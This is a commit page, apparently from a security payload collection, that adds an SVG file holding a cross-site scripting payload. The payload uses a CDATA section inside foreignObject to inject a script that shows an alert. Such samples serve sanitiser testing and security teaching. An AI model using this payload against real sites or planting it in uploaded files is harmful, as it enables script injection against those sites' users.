SVG XSS + SSRF enclosed alphanumerics

This commit is contained in:
Swissky
2017-11-19 14:01:36 +01:00
parent f740d8e825
commit fea88a5738
8 changed files with 83 additions and 63 deletions

View File

@@ -0,0 +1 @@
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>

After

Width:  |  Height:  |  Size: 80 B